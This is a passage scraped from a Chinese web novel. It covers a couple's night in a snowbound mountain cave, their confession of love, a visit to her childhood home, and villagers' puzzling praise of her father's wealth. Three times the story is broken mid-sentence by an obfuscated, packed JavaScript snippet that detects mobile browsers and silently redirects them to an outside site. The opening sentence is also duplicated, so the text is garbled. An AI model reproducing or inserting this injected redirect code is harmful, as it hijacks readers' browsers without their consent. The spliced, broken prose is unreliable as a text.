最后只剩下南有音的故乡彤庄和南晨颂的家乡霞岭了,两处位于月陵最北边,天暖和海面能走船的时候,走海路到霞岭再到彤庄最近,现在天寒地冻,只能走陆路,要翻过一座小山。 最后只剩下南有音的故乡彤庄和南晨颂的家乡霞岭了,两处位于月陵最北边,天暖和海面能走船的时候,走海路到霞岭再到彤庄最近,现在天寒地冻,只能走陆路,中间一座小山,要么绕远路多走几天,要么就花半天翻过去才能到彤庄。 为了能在新年恰好赶到霞岭,徐寂宁选择走山路。 “你可别勉强。”对此南有音不太认可,“冬天穿得多,活动不方便,我不背你。” “你过去总是跟我提起北地的山,我便偶尔舍命陪君子,同你一道见识一下,”徐寂宁半开玩笑道,“说不定最后是我背着你呢。” 就这样,两人收拾了一番,一路往北,穿过没有庄稼覆盖裸露着的田地,顶着北风,到了山脚下。 这是一座没有名字的山,不怎么高,远看是一片萧芜的枯黄屹立寒风,近了看则是嶙峋的山石,犬牙交错,中间一条蜿蜒曲折的路,望不到尽头。 南有音拉着徐寂宁在这条陡峭的小路上走,现下人们都在家置办年货,孤寂萧条的山路上只有他们两个,风吹不散,手拉着手,倒也算不上寒冷。 爬了将近一半时,北面阴沉沉压过一片云,瞬间遮住了太阳,风也越来越大,快到山顶时,老头毫无征兆的下起了雪。 起初还是细细的雪花,落在肌肤上瞬间消散,渐渐越来越大,到了山顶,寒风卷着鹅毛一般的雪,放眼四周都是灰蒙蒙一片,什么也看不清,风也大的吓人,刀子似的,直扑口鼻,叫人喘不过气,几乎要将人连根拔起扔到天上。 徐寂宁见南有音脸色有些苍白,便问道:“有音,你怎么了?身体不舒服吗?” “不是,下雪了……快些下山吧。”南有音将徐寂宁的手牵的更紧了,快步往山下赶。 但雪丝毫没有停息的意思,两人帽子上和肩头落了雪,山路上也有了积雪,渐渐湿滑起来,越走越慢,因为下雪的缘故,天黑的格外早,离山脚还有好一段距离时,天几乎就彻底暗了。 南有音停住脚步,望着即将黑下来的天空,流露出些许的畏惧:“看来今夜是下不了山了。” 她抬眼勉强辨认地形,从脑海中抽取回忆,靠近彤庄的这面山,她是很熟悉的,她幼时为了谋生,常在山上跑。 “你跟紧我了。”她扭头对徐寂宁说了一声。 徐寂宁发觉南有音莫名有些紧张,攥着他的手越攥越紧。 他跟着南有音脱离了主路,一脚深一脚浅的往旁边走去,走了没多久,一片枯树后露出一个山洞来,虽然不大,但好歹能遮遮雪。 南有音又带着徐寂宁在外面捡了好多树枝,好像早有准备一般,从随身的包袱里找出火折子,在山洞里点起火,映地两人眼睛亮亮的。 火光亮了起来,南有音似乎放松了一些,嘟囔道:“真是的,怎么突然下起雪来了,徐寂宁,都怪你,说什么舍命陪君子,老天倒也给你面子,下了这么大一场雪,真想叫你山腰舍命,还好我不是君子是野人,知道有这么一个山洞,今晚就委屈你也当一回野人了。” 徐寂宁好奇道:“你怎么知道这里有个山洞的?” 南有音眼中光亮暗了许多,嘟囔道:“我之前也在这躲过山雪。” 她又从随身的包袱里找出冻得像石头一样硬的饼,分给徐寂宁一块:“凑活着吃吧,本来这饼就硬,费牙,现在也不过更硬了一点,磨炼一下牙口嘛。” 徐寂宁听话地啃了一口,觉得门牙晃动,就改用后槽牙了。 过了一会儿,南有音又想起来什么似得,又从包袱里掏出一小包咸菜,对徐寂宁说道:“别吃太多了,不然只能吃雪花解渴。” 短短一会儿,徐寂宁看着南有音找出火折子干粮还有咸菜,好像早就打算在山洞里过夜一样,便问道:“你知道会下雪?” “不知道啊。” “那你怎么准备的这么齐全。” 南有音专注地咬下一块饼艰难咽下去:“……我有点害怕会困在山上。” 徐寂宁想到她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14600142|154041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚刚说也在这个山洞里躲过风雪,便问道:“……你之前被困在山上过?” “嗯……小时候的事了。”南有音低声说道,“也是一次冬天,我跟着村里挖药草的人进山,走着走着大家就散开了,我一株药草也没找到,只急着快点找出些什么,没注意时间,后来天黑了,又下起了雪,我看不到路,下不了山,只好在山上走来走去,然后就发现了这个山洞,进来避雪。” 飘忽不定的火光下徐寂宁看不分明南有音的神情,只觉得像是有个小锤子不停地敲击心里一样,他似乎看到了孤身一人走在茫茫雪地的小女孩,一阵一阵的揪心,他轻声道:“你那时一个人,应该很害怕吧……” “当然很怕,后面天越来越黑,天上没有月亮也没有星星,我什么也看不见,真的什么也看不见,外面有些奇怪的声音,我分不清是风吼还是狼嚎,一夜也没停。我躲在角落里,特别的冷,到处都冰凉,我等着天亮,怎么等都等不到,就从开始数数,数到了一万还是什么也看不见,只能听到外面的怪叫,然后我就哭了,天特别冷,眼泪留在脸上很快就凉透了,冻得脸疼,但我忍不住不哭,我害怕天永远不会亮,也担心自己是不是瞎了,害怕外面的声音是饿肚子的狼,可自己肚子也饿得直响,倒不害怕饿死,因为经常挨饿,知道这样再饿两天也没事,但是害怕会冻死,只好强撑着不能睡过去,”南有音微微颤抖了一下,似乎仍在后怕,“后来天亮了,雪也停了,我一个人哭着跑下了山,山下大家都很安稳,跟往常没有任何区别,烟囱里飘着做早饭升起的烟,我那时忽然意识到我要是孤零零的死在山上,不会有人注意,恐怕等开了春有人上山才会知道,那些心软的婆婆婶婶会叹息一阵,可很快就会轻轻掀过这一页,毕竟我跟她们非亲非故,值不得太多眼泪。” 南有音抱起腿坐着,她抬头看了一眼徐寂宁,又看了一眼烧的很旺的火堆,眉眼间的阴翳褪去不少,她微微笑了一下,用一种颇为幸庆与得意的语气说道:“不过现在还好啦,至少有火光,也有你在这里跟我说话,甚至还有点吃的,虽然有些难以下咽吧——” 她还没有说完,便陷入了一个温暖而熟悉的怀抱。 “有音,这次不必害怕了。”徐寂宁拥着她,在她耳畔认真说道。 “当然,这次有你在呢,”南有音捏了捏徐寂宁的手,忽然小声问了一个有点荒唐的问题,“徐寂宁,你是真实存在的吗?” 徐寂宁愣了一下:“你为什么问这种问题,我当然是真实存在的。” “那次我被困在山上,那一夜特别长又特别难熬,我怕自己一个人撑不下去,就想象洞里除了我,还有一个人,是我的朋友,一直跟我说话……”南有音喃喃说道,她像是在自言自语,也像是在询问一般道,“徐寂宁,你是真的吗?万一你只是我困在洞中时,想象出的一个朋友的幻影……” “我当然是真的,我怎么会不是真的呢?”徐寂宁低声笑道,他握住了南有音的手,十指相扣,“你看,你能感受到我的体温吗?” “嗯,”南有音将身体放松了许多,完全倚在徐寂宁身上,小声要求道,“你不要离开我,我不想一个人孤零零的。” “好,我一定会在你身边。”他将南有音的手握地更紧了些。 “永远在我身边。” “好,永远。”他温声承诺道,“下雪时在,雪停了也在,没有雪的时候也在,永远,永远……” 93. 剖心 山洞中柴火堆燃烧,发出木柴断裂的微弱响声,南有音依偎在徐寂宁怀中,牵着他的手,注视着火光,又转头借着火光看看洞外纷扬的雪,又时不时仰头看一眼徐寂宁,徐寂宁一直注视着她,见她望过来,就微微笑一下,叫她安心。 “放心好啦,我一直在的。”外面的风声呼啸,他的声音盖住了风声,传入了南有音的耳中。 “嗯。”南有音又望着燃烧的火焰,渐渐安心,从而困倦起来,她扭了扭身体,更舒服地蜷缩在徐寂宁怀里,沉沉陷入梦香。 徐寂宁注视着她安宁的睡颜,小心的守着火,时不时往里面添些柴火。 也不知过了多久,洞外的风雪渐渐停了,怀中的人却蹙起了眉头。 或许是往事留下的痕迹太重,再次经历被大雪困在山上时,南有音做起了噩梦。 她梦见她醒过来,睁开眼看到的不是火焰与徐寂宁,而是是一片漆黑,又回到了那个昏暗无光,异常寒冷的夜晚,她感到害怕,就喊徐寂宁的名字,但她的声音都被吞没在不知道有没有尽头的黑暗之中,她又变成孤零零的、无人在意知晓的一个人了。 她绝望无助之际,黑暗之中忽然传来声音,她无比熟悉的声音。 “有音。” 是徐寂宁在呼唤她,她千百次的听到过自己的名字从他唇齿中倾泻。 “有音,快醒醒!”徐寂宁看出南有音又是被魇住了,忙叫醒她,她眼皮颤了颤,睁开了眼,怔怔望着他,流下两行泪。 “……有音?”他抬手,拂去她脸上的泪,柔声安慰,“只是一个噩梦,现在醒了。” 但南有音仍旧在哭,她死死拉着他的手,问道:“万一现在才是梦呢?万一你真的是我想象出来的呢?” 她的一双大眼睛里蓄着泪,满是恐惧:“万一……是不是那天我没走出山洞,是不是我一直……” “不会的有音,那已经是过去了,等天亮了,我们就能下山了,”徐寂宁极为温和地安慰道,“我在这里,你已经不是一个人了,要是你再在山上迷路了,我会找你,还有南夫人、南老爷、玉振,你下山的时候不会无人在意。” 南有音平静了些,她低垂着眼睫,却仍在颤抖,用极小的声音说道:“当年我一个人在黑暗中害怕,就想象了一个朋友陪我,想象中这个朋友说了跟你刚刚说的那些很像的话……” 徐寂宁立刻说道:“有音,我不是你想象的,还有,你想象的幻影只是一个朋友,对吗?” “嗯……” “可……我想我不止是朋友吧。”徐寂宁轻轻说道,“我们不止是朋友,所以我不是幻影。” “你说不止是……”南有音骤然抬起眼,挂着泪痕的脸上浮现出有些凝滞的神情。 “哪是什么?”她无意识地喃喃,眼睛注视着徐寂宁,徐寂宁也望着她,两人眼神交汇,具在彼此的眼眸中找到了自己,四下一片寂寥,唯余呼吸交错,心跳交织。 南有音无力地笑了一下,用微弱的声音说道:“徐寂宁,这是我第几次听到你的心跳了,好像狂奔的兔子。” “第几次呢?”徐寂宁觉得那柔弱的声音与隐隐含着泪光的眼神诱使他心底有什么涌了出来,他微微一笑,将她的手按在他的心上,低声道,“有音,总是因为你,才会这样啊。” 南有音眨了眨眼睛,眼睫轻微地颤抖着:“因为我……” “因为你,只因为你。”他俯下身来,仿佛忍受不住一般亲吻她因梦魇而失色的双唇。 他吻地温柔,却又缠绵。 “唔,寂宁……”南有音失神地低声呢喃,在冰天雪地之中,唇舌之间的温度是这样的清晰,她微微张开嘴,任由唇舌纠缠不息,沉沦到几乎窒息。 “有音,别害怕了。”徐寂宁放开她,轻微喘息着,他指了指洞穴外面,“你看,今晚雪停了,月亮出来了,弯弯的,好细一轮,有月光,也有星星。” 南有音顺着他指的方向看去,天上挂着纤纤一勾弯月,薄纱一样的月光浸润山林,依然是大雪深山,却不同于那时永无止境的黑暗,今夜风静雪停,弯月群星,她看得到下山的路,看得清回家的路。 “有音,我和你看着同一轮月亮呢。”徐寂宁蹭着她的耳朵说道。 “我知道。” “那我们是什么关系呢?你明白我心中所想了吗?” 南有音笑了,好像故意的一样说道:“不明白。 徐寂宁似乎有些委屈:“我都亲你了,你怎么还不明白?” “那,是什么呢?” “你非要我先说?” “不然呢?我忍着不说,等你很久了。” “好吧,我想……不止是朋友,是知己,是夫妻,”徐寂宁将南有音揽地更紧了一些,“……也是两心相许的爱人。” 南有音笑着侧过脸,目光灼灼地注视着徐寂宁,他受不住她的眼神,再度低头品尝唇舌相交的温度。 “……寂宁。”在一片混乱中她含混地呢喃。 “你终于不是直接叫我全名了,”徐寂宁伏在南有音的颈侧,没有章法地留下一串轻柔的吻,略有些委屈,“可是好多人都叫我寂宁。” “不一样的,”南有音温声道,“就像你口中说出的‘有音’,无论百遍千遍,与他人不一样。” “有音。”他低声呼唤。 “寂宁。” “有音。” “寂宁。” …… 再熟悉不过的两个字眼反复萦绕喉舌中唇齿间,熬成了浓烈缠绵的酒,最终他们也不知道狭窄洞穴内究竟寂宁,亦或有音。 洞内的柴火烧尽了,天渐渐亮了,南有音与徐寂宁走出山洞,四际茫茫,天地皆白,两人眼中只能看到彼此。 “走吧。”南有音辨认了一下方向,牵着徐寂宁的手,踩着厚厚一层雪,找到了被雪隐藏的主路,翻过一个小坡,一眼就能看到山脚的村落。 太阳渐渐升高了,茫茫一片的白雪有些晃眼,下山的路也越发陡峭,让人脚下打滑。 南有音与徐寂宁互相搀扶着,好几次两人险些一块滚下去。 在又一次惊心动魄的打滑后,徐寂宁往旁边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14612475|154041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 滑下去,南有音急忙去拉他,徐寂宁刹不住脚,撞到了树上,树干颤了几下,惊走飞鸟,枝子上的积雪簌簌落下,恰好灌进两人脖子里,凉的两人打哆嗦。 “你能不能别往这种地方滑!”南有音不满抱怨,向徐寂宁伸手,拉他起来。 徐寂宁笑着起身,拂去落在南有音头顶的雪:“我又不是故意的。” “下次谁知道你会滑到哪里去,别把我也拽进沟里就行。” 徐寂宁低低地笑了:“我带着你滑进沟里?总是你带着我掉进各种山沟吧!” 南有音知道他又提起岭南的事,哼了一声,却忽然停下脚步,认真注视着徐寂宁。 “怎么了?”徐寂宁问道。 一片雪白的天地之中,南有音被风吹红的脸颊与明亮的眼睛无比鲜艳,她就这样注视着徐寂宁,突兀地问道:“既然你提到了岭南的事,那我问你,倘若没有岭南的生死相依,你会喜欢上我吗?” 她其实也不太在乎这个答案,更多的只是好奇。 徐寂宁愣了片刻,而后不假思索地笑道:“当然会。” “为什么?”南有音微微睁大了眼睛,她想不到徐寂宁会答得这么干脆。 “为什么?”他低头下了,轻轻啄了一下南有音饱满如红梅的唇,“谁会不喜欢你啊,有音。” 刚成亲时,他曾困惑母亲为何钟意南有音,南有音回答的是“难道我不讨人喜欢吗”,彼时他只困惑茫然,时至今日却洞悉了然,谁会不喜欢她呢,像是春天茁壮葱郁的树,像是一团永不熄灭也不会灼伤肌肤的火焰,使得他这个总是不信命数神鬼的人,竟然也慢慢品出钦天监那位张大人口中天作之合的意味了。 “如果没有岭南生死之交,我猜我还会再花好久才能意识到对你的喜欢,”徐寂宁温声道,“但我想过的,我对你的喜爱并非因为救命之恩或者其他,只是因为是你,有音,只因为你。” 南有音扬起脸来,很是得意地一笑:“我就知道!” 她没有告诉徐寂宁的是,倘若没有岭南之行,她对他的所有情感必然会是无疾而终。 永州夜色黯淡,她发现她少时迷恋的是一面之缘的幻影,她不会喜欢一个高高在上、自以为是的公子哥,京城到末山,她与他的关系一度冷淡。 但末山的逃亡与孤岛的磨难,她身边只有他,其实不管有没有他,她总能活下来,但只因他活着,能跟她说说话,所以她总归不至于沦落到像儿时一样孤零零一个人,加上几经生死,她对他自然便会略比旁人亲近些。 再回到京城,她发现他变了很多,慢慢学会平等悲悯地看待苍生,渐渐抛下京城高官子弟常有的那种自以为是,这些改变让她心间萌生了一点不一样的感觉,仿佛少时梦想的幻影还存在,或许是这样的情感作祟,也或许是岭南的生死相依,她对他终究多了几分包容,而那些细微复杂的感情就藉此生存、蔓延,直至泛滥。 她只笑着看着徐寂宁,任由他牵着自己的手,踩着雪小心下山,到了山脚,回头一望,白茫茫一片中,留下的唯有两人一路搀扶的脚印。 94. 彤霞 山脚下的村落是南有音幼时所居的故乡——彤庄。 眼下正是清晨,尚未散干净的晨雾中飘着袅袅炊烟,寒风中裹挟着烟火与食物的香气。南有音对这个场景非常的熟悉,不止是她在这个村庄生活了多年,也因为上一次被山雪困在山洞一夜后,下山时也是这样的场景,不由得一阵恍惚。 “有音,我们再往哪里走?”徐寂宁捏了捏她的手,让她回神,这终究与过去不一样了,现在她身边还有徐寂宁。 “我带你去看看我以前的屋子。”南有音轻快道。 彤庄这些年略有变化,她想了一阵子才想起该怎么走,一路上遇到了不少村民,没有一个认出南有音的,南有音倒是认出了不少熟悉面孔,有些从小娃娃变成的大人,有些在她记忆里依旧年轻力壮,却早已两鬓染霜,她稍稍打听了一下小时候那些总心软分她一点食物的婆婆婶婶们,年长的大都已经去世,至于年轻的,徐寂宁问她要不要去探望,她却摇了摇头。 “她们不会挂记我的,大概早忘了我,如果她们还惦记着我,”南有音快乐地笑了,“她们一定觉得我在京城过得很好呢,一辈子也不会再回到这里了,就让她们这样想吧,要是她们挂念我,我愿意让她们想象中的我在京城快乐的享福。” 她带着徐寂宁在村子里走,最终在村子边角处的一个窝棚前停下了。 她抬手,摸了摸那两扇破败到似乎只要吹一口气就会倒塌的门:“你看,这就是我小时候住的地方,现在还在呢。” 歪歪斜斜的泥土墙,透风撒气的稻草屋顶,徐寂宁几乎没法把这个玩意称作房屋,他不知为何想起他第一次到京郊南家时,曾问南有音她家怎么那么寒酸,依照南老爷的官职不至如此,南有音说是他太没见识,没见过更小的房子。 “进去看看。”南有音从地上找了一块石头,三两下敲下了锈到只是个摆设的锁。 南门内早已破败地不成样子,屋墙塌了一半,只剩下几条房梁孤零零的立着。 “真怪,原来这里这么小。”南有音发现她与徐寂宁挤进这所破烂屋子后,屋内的空间所剩无几。 她指了指残留的土墙上一些模糊的痕迹:“我小时候会在这里画画,我听大人说外面的世界,我就画在墙上。” 她指着一团黑色的方块,对徐寂宁说到:“你看,这是我画的平州酒楼,我睡觉之前就看着,等做梦时就能梦到了,这个带着四根毛的圆球应该是我画的一匹马,我有时候会梦见我骑着马,跑到很远的地方。” 她见徐寂宁始终在打量这个破烂的小屋,便说道:“你放心好了,我肯定不至于叫你住这里的,我现在看了都奇怪我小时候怎么住得下去的。” 徐寂宁温声道:“我只是想好好看看你小时候生活过的地方。” 他的手指拂过墙上模糊的画作,原来南有音在这样逼仄破败的屋子里萌生了策马天涯的想法。 南有音随着徐寂宁默默注视着墙上压根看不分明的画作片刻,然后从随身带的包袱里翻出一卷大红色的春联,新丽鲜艳的正红色喜庆极了,与这个落败的院落极为不符。 “我小时候总是一个人过新年,肚子都不一定填饱,更不用提春联了,”她笑着对一边静默的徐寂宁说道,“虽然现在不是年三十,你跟我现在在门上提起贴好春联,我小时候的愿望又有一个要实现啦!” 她与徐寂宁在北风里忙活了好一阵,才将被风吹的猎猎作响的春联服服帖帖的贴在摇摇欲坠的门上。 贴好之后,她在门口走来走出,多个角度反复欣赏,眼睛亮亮的,喃喃道:“原来是这个样子啊……” 她立在寒风中看了好一阵,觉得贴上了一幅耀眼的红色春联,她的童年都跟着鲜艳起来了。 她确信将眼前的景色印在脑海里了之后,揽住徐寂宁的胳膊,快乐道:“走,去霞岭!” 他们二人费了一番功夫,最终用不菲的价格找到了一辆愿意带他们去霞岭的牛车。在车上南有音操着一口方言与赶牛的老伯聊得很是开心,老伯问二人去霞岭做什么,南有音便说回家过年。 “我爹是霞岭的。”南有音道。 大概是乡下鲜有女儿回家过年的习俗,老伯困惑道:“眼下年关,你怎么还带着丈夫回父母家?” 南有音起了玩笑的意思,故意说道:“害,这还用说嘛,当然是他入赘我家啊。” 老伯听后没有露出任何惊讶的意思,习以为常地点点头道:“也是,这些年霞岭发达了之后,村里人都不愿女儿外嫁,都是招赘。” 老伯脸上流露出一些羡慕:“哎,霞岭人真有福气,自从这个小村养出了一位京城的大官儿,整个村子就眼瞅着越来越好,以前还不是跟彤庄差不多的穷地方。” 南有音与徐寂宁对视一眼,均认为老伯提到的就是南有音的父亲南晨颂,虽然他在京城是个小官,但到了这偏僻乡下,自然就被说成大官了。 “霞岭出得那位大官儿做什么啦?”南有音有些好奇道,她是没听父亲说起对家乡做些什么的。 “我也不清楚,”老伯道,“也是听人说的,霞岭不是离海近吗,据说近几年多了好几艘出海的大船,就是京城那位大官儿给置办的。” 徐寂宁讶然,忍不住道:“造船可是要花大价钱的,往常都是官府的事。” 老伯不以为然:“月陵这种偏僻地方,官府都不稀罕管,从哪儿要船去,大家都说是京城那位出的钱。” 南有音大吃一惊,她可不觉得她爹能有造船的钱,便问道:“这霞岭到底出了几位京官?” “你不是霞岭的吗,怎么还问起我来了?”老伯虽然这样说,还是回答了南有音的问题,“霞岭这种小地方能出半个知县就是百年难遇了,出个京城的官而更是难如登天,这么多年自然就只有一位,不过一位就够了,整个霞岭都跟着沾光。” 南有音有再度求证:“就是那个二十出头就中了进士的南老爷?” “是啊,难得的奇才,”老伯连声感叹,“谁能想到霞岭这地方还能出一个进士,我住的彤庄多少年了连个秀才也没有,每次跟霞岭的亲戚说起来脸上就没光。” 一切表明老伯口中说的这位京官毫无疑问就是南晨颂,只是南有音实在相信不了她爹有钱造船,她家里不缺吃喝用度,但也确实不富裕。 她心想必然是老伯说得太夸张了,毕竟老伯也不是霞岭人,只是道听途说,乡下一直这样,原本正常的事传着传着就越来越离谱了。 徐寂宁却不着痕迹地蹙起眉尖,觉得有些古怪。 聊着天的功夫老伯就将两人送到了霞岭村口,南有音与他热情的告别,便与徐寂宁进了村子,霞岭确实不太一样。 他们这一路走来,月陵县内的村子都差不多,大多石头房子茅草顶,只有村里稍富裕的人家是瓦片顶,霞岭则不一样,红瓦房子入眼即是。 此前南有音跟南晨颂说了要到霞岭的事,南晨颂便也修书一封,叫她带给霞岭的村长。她找村民打听了一番,找到村长,村长看完信,见是南晨颂的女儿女婿,当即跟村民一块好吃好喝地招待起两人了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14625211|154041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >南有音与徐寂宁在霞岭住了两日,顿顿美酒佳肴,搞得南有音不好意思起来,觉得自己与徐寂宁像是劳民伤财的昏君。霞岭的村长村民却不这样想,言语间都是对南晨颂的感激与崇敬,对他的女儿自然也是尊敬,加上南有音也是月陵人,同他们口音一致,很快就熟络起来。 南有音在霞岭发现了许多父亲年轻时的痕迹,有他少年时住过的屋子,她与徐寂宁去看了一眼,发现那间屋子跟南有音在彤庄那间可怜窝棚不相上下,只是南晨颂的老房子仍然干净整洁,看得出是有人打扫。 南有音见徐寂宁惊讶于屋子的简陋,就说道:“我爹说他小时候同我一样,父母死的早,从小流浪,靠着吃百家饭长大的。” 当天吃饭时,南有音吃到了一种烙饼,与父亲南晨颂的手艺极为相似,奇怪之下问起来,原来今日做饭招待她的厨子曾经与南晨颂一起同门学厨艺,两人的面点手艺从一位师傅学的,算起来还是师兄弟的关系。 南有音好奇,便询问起父亲的往事,一问方才知道,难怪父亲厨艺不错,原来是当初差点就做了厨子。 十四岁那年,南晨颂想着应该学点什么傍身,就与同乡的玩伴一块去月陵县城里拜师,月陵县城一家小饭馆是霞岭一个老厨子开的,两人就在此学艺,起初不叫碰食材刀具,只叫烧火,南晨颂却一边烧火一边偷看,暗自学会了几道菜,老厨子不太乐意,就叫他别摆弄柴火,去采购食材,采购了两三次之后,老厨子惊讶地发现南晨颂会看账本了,还认识了不少字,他便问南晨颂从哪儿学的,南晨颂则说看看就会了。老厨子又叫南晨颂去后厨帮忙,洗菜切菜洗碗之类的,他手脚麻利,干活相当快,不一会儿就全处理完了,而后就往月陵的学堂跑,站在墙角下偷听先生讲书。 如此几次,学堂的先生认得他了,就去找老厨子说话,跟老厨子说这孩子相当聪明,千万别耽误了,老厨子虽然不识几个字,却对读书人崇敬的很,得了学堂先生的话,就琢磨起来,寻思若真是个读书的苗子,决计是不能耽误,霞岭都多少代没出过读书人了。 他南晨颂回村里跟村长商量,南晨颂没爹没娘,读书的钱谁来出?当时的村长宅心仁厚,说这孩子既然是读书的料就该去学,若实在不行,就请乡亲们帮帮忙,彼时霞岭穷乡僻壤,家家户户自己都吃不饱,村长带着南晨颂挨家挨户的磕头,说什么这孩子既然吃百家饭长大的,诸位都是他的父母,将来若是能有一番事业,必然不能相忘。当时村里人没觉得南晨颂这个可怜孩子能有什么成就,虽然不情不愿,多少看在村长的面子上出了一点钱,南晨颂便能去读书了。 他也确实够聪明,第二年就考中了秀才,霞岭多少年没有出过秀才,村长见他争气,带着他挨家挨户拜谢,又凑出些银两,他便又继续读了几年书,不想竟又中了举人,十里八乡为之轰动,彼时月陵有户崔姓富商,便将女儿许配给他,也就是后来的南夫人,富商又给他盘缠进京赶考,放榜时中了,是二甲第七,整个霞岭家家户户都放鞭炮庆祝,年长的老人在祖祠祭拜,泪眼汪汪,想不到霞岭还能出一个进士。 南有音听完便感叹道:“难怪我爹每次提起霞岭的乡亲,总是感激不尽,他常说若不是乡邻亲善,他哪里能有今天。” 霞岭诸人却连说不敢当:“南大人对我们的恩情更是深厚,承蒙他照顾,我们霞岭才能过上好日子。” 徐寂宁想起路上听到了造船之类的,本想旁敲侧击试探着问问,没想他一开口,村里人便争先跟他说起了南老爷的事迹,听得他和南有音具是惊讶恐慌。 95. 举棋 南晨颂中了进士,便留在京城当官了,与霞岭的联系却一直没断,起初他送些银两给霞岭的穷苦乡亲,到后面银两送的越来越多,几乎家家有份,再往后,南晨颂出钱在霞岭东边的海岸修了一个码头,造了几条船。 徐寂宁眉尖皱起:“码头造船一事些不应该是由官府管的吗?” 村长的回答与那天送他们来霞岭的老伯一样,都是偏僻地方,官府除了收赋税的时候能想起来,平时压根不管死活。 “可修码头与造船都得花大价钱。”徐寂宁脑海中计算了南晨颂的官阶俸禄,凭此修码头与造船简直是天方夜谭。 “是啊,”村长感慨道,“南大人在京城想必是身居高位,却仍顾念我们这些乡下人,实在是……唉,实在是感激不尽。” 他笑着向南有音拱手做谢,南有音却有点笑不出来,路上老伯说的话她尚且可以视作夸张,但如今村长也这么说,她不得不相信了。 吃完饭后村长见二人好奇,还带他们去码头哪儿看了一看,眼下寒冬,海面冰封万里,码头空无一人,只有几艘大船留在岸上。 村长看着那几艘船,满眼崇敬,说多亏了码头与船只,霞岭地处偏僻,出入不便,有了码头和船只,交通骤然通了,码头不结冰时,跟外面往来方便多了,村里人家都渐渐富裕起来,无一不对南晨颂感激不尽。 “过去每逢冬天,村里必然有人冻死,”村长感慨不尽,“自从霞岭有了南大人照顾之后,再也没听说过了,每年南大人还都遣人送银两,给族中那些鳏寡老人添些炭火棉衣。” “南大人对霞岭的恩情实在说不尽,”村长又对南有音与徐寂宁说道,“你们夫妇既然是南大人的女儿女婿,便千万不要不好意思受我们霞岭供养,我们实在无法报答南大人,全力招待二位,便也勉强算是尽些心意了。” 海边冷风阴湿刺骨,南有音与徐寂宁看着那几条船,心中都在想这修码头跟造船的钱从何而来,耳朵里听着村里人的感激,皆是不知道说些什么,只好村长说什么就应什么,答应下当晚一起吃年夜饭。 两人本想着找机会避开人谈谈南晨颂的事,奈何村民热情似火,几乎把冬天烧成了夏天,两人始终被簇拥着,一点也抽不开身。 年夜饭在村长家吃的,村民几乎都来凑热闹,新年总是人多热闹,免不了喝几杯酒,几杯北地名酒潺山沁下肚,南有音心头关于父亲的一些阴翳被酒精冲散了,她与大家谈笑嬉闹,又拉着徐寂宁去包饺子,徐寂宁一学就会,甚得村里婆婆婶婶青眼,都与她打趣,说她找了一个好丈夫,日后能有口福,她便也夸了徐寂宁两句,见他脸红,又与新认识的姐姐妹妹挤作一团笑了起来。 众人知道南有音是南晨颂的女儿,酒席后程挨个找她和徐寂宁敬酒,他们敬酒时说话好听,有感激南晨颂的,有夸南有音漂亮的,也有祝两人夫妻和睦的,南有音听得直笑,不想拂了乡亲的好意,便也来者不拒,很快就醉眼朦胧,走路都打起转来。 好在徐寂宁有千杯不醉的本事,扶着喝高了的南有音先行告退了,从村长家都两人歇脚的地方,一路上南有音又是几乎挂在徐寂宁身上,缠着他的胳膊,叫他也跟着她的步伐走得歪歪扭扭,她一面趔趄着往徐寂宁怀里倒,嘴里还嘀嘀咕咕说些醉话,非说是徐寂宁拽着她走得歪歪斜斜,徐寂宁说她醉了,她不信,硬说自己没醉,一会儿夸两句徐寂宁长得好看,一会儿又说起日后要天涯海角都走遍,她每说一句,还非要徐寂宁回应,有时说几句疯话,徐寂宁不同意,她就站住不走,也不说话了,只拽着他袖子,一双水光潋滟的低垂着,徐寂宁没办法,只好嗯嗯啊啊的哄着。 “好好好,你说得都对。” “你看,我说得你都同意,”得了他这句话南有音笑了,“这说明我没醉,还清楚着呢。” 徐寂宁温声道:“好,你还清楚着呢,那就快跟我一起回家。” 南有音走了两步,却又站住了。 “怎么了?”他只好问道。 “你说得不对!”南有音咯咯笑了,“这儿是霞岭,要回家也是你跟我回我家,怎么成了我跟你回家?” “好,跟你回家。” 徐寂宁说完后南有音才重新走,一边走还一遍嘟囔:“分明是你喝醉了说话不对,反而说我醉了,我还很清醒呢。” 徐寂宁无奈,只拉着南有音往住处去,到了门口,抱了一下南有音,扶着她跨过门槛。 进了院子,南有音却又说什么也不进屋里。 “乖,进去吧,里面暖和。”徐寂宁好言相劝。 “不要。”南有音喝了酒,身上正热乎着,她转头看到前两天地上的积雪,忽然来了兴致,蹲下身玩起雪来,“寂宁,你还记得那种用雪做的花吗?我再给你做一次。” “我记得呢,”徐寂宁忙说,“你用不着再做一次,雪太凉了,冻得手疼。” 